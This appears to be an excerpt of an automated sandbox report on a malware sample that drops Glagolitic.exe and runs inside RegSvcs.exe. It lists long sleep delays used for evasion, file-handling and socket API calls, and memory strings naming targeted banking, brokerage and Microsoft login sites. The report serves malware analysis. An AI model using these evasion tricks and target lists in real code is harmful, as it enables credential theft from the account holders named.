Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594467 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594122 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594016 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593891 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593766 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593656 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593547 | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 0_2_00452492 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 0_2_00442886 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 0_2_004788BD |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 0_2_004339B6 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 0_2_0045CAFA |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 0_2_00431A86 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 0_2_0044BD27 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045DE8F FindFirstFileW,FindClose, | 0_2_0045DE8F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 0_2_0044BF8B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 2_2_00452492 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 2_2_00442886 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 2_2_004788BD |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 2_2_004339B6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 2_2_0045CAFA |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 2_2_00431A86 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 2_2_0044BD27 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045DE8F FindFirstFileW,FindClose, | 2_2_0045DE8F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 2_2_0044BF8B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 5_2_00452492 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 5_2_00442886 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 5_2_004788BD |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 5_2_004339B6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 5_2_0045CAFA |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 5_2_00431A86 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 5_2_0044BD27 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045DE8F FindFirstFileW,FindClose, | 5_2_0045DE8F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 5_2_0044BF8B |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 922337203685477 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 600000 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599875 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599766 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599641 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599531 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599422 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599313 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599188 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598953 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598841 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598733 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598624 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598516 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598391 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598277 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598172 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597938 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597813 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597703 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597594 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597469 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596343 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596234 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596103 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595981 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595707 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595580 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595453 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595344 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594737 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 922337203685477 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 600000 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599891 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599781 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599672 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599563 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599453 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599344 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599219 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597191 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596938 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596813 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596703 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596564 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596438 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596328 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596219 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596094 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594467 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594122 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594016 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593891 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593766 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593656 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593547 | Jump to behavior |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: ms.portal.azure.comVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: discord.comVMware20,11696494690f |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: AMC password management pageVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: outlook.office.comVMware20,11696494690s |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: interactivebrokers.comVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: netportal.hdfcbank.comVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: interactivebrokers.co.inVMware20,11696494690d |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: account.microsoft.com/profileVMware20,11696494690u |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: outlook.office365.comVMware20,11696494690t |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: www.interactivebrokers.comVMware20,11696494690} |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^ |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690 |
Source: RegSvcs.exe, 00000003.00000002.3308161970.0000000001596000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: tasks.office.comVMware20,11696494690o |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~ |
Source: mKRflLn5sx.exe, 00000000.00000002.859463226.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\ |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: dev.azure.comVMware20,11696494690j |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: global block list test formVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: turbotax.intuit.comVMware20,11696494690t |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: bankofamerica.comVMware20,11696494690x |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Canara Transaction PasswordVMware20,11696494690} |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3308619299.0000000000E89000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~ |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - HKVMware20,11696494690] |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Canara Transaction PasswordVMware20,11696494690x |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003D44000.00000004.00000800.00020000.00000000.sdmp | Binary or memory string: secure.bankofamerica.comVMware20,11696494690|UE |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, | 0_2_004652BE |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, | 0_2_00476619 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject, | 0_2_0046CEF3 |
